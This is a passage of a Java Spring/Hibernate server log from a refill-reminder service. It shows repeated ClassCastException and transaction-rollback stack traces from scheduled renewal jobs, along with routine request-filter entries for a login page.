javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 18:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 18:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 18:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 18:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 18:45:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:25 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:45:25 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:45:25 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:45:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:25 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:25 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/robots.txt 2024-02-25 18:45:33 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:33 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:33 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:45:33 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:45:33 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:45:33 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:33 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:33 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-25 18:45:58 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:45:58 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 18:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 18:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 18:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 18:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 18:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at 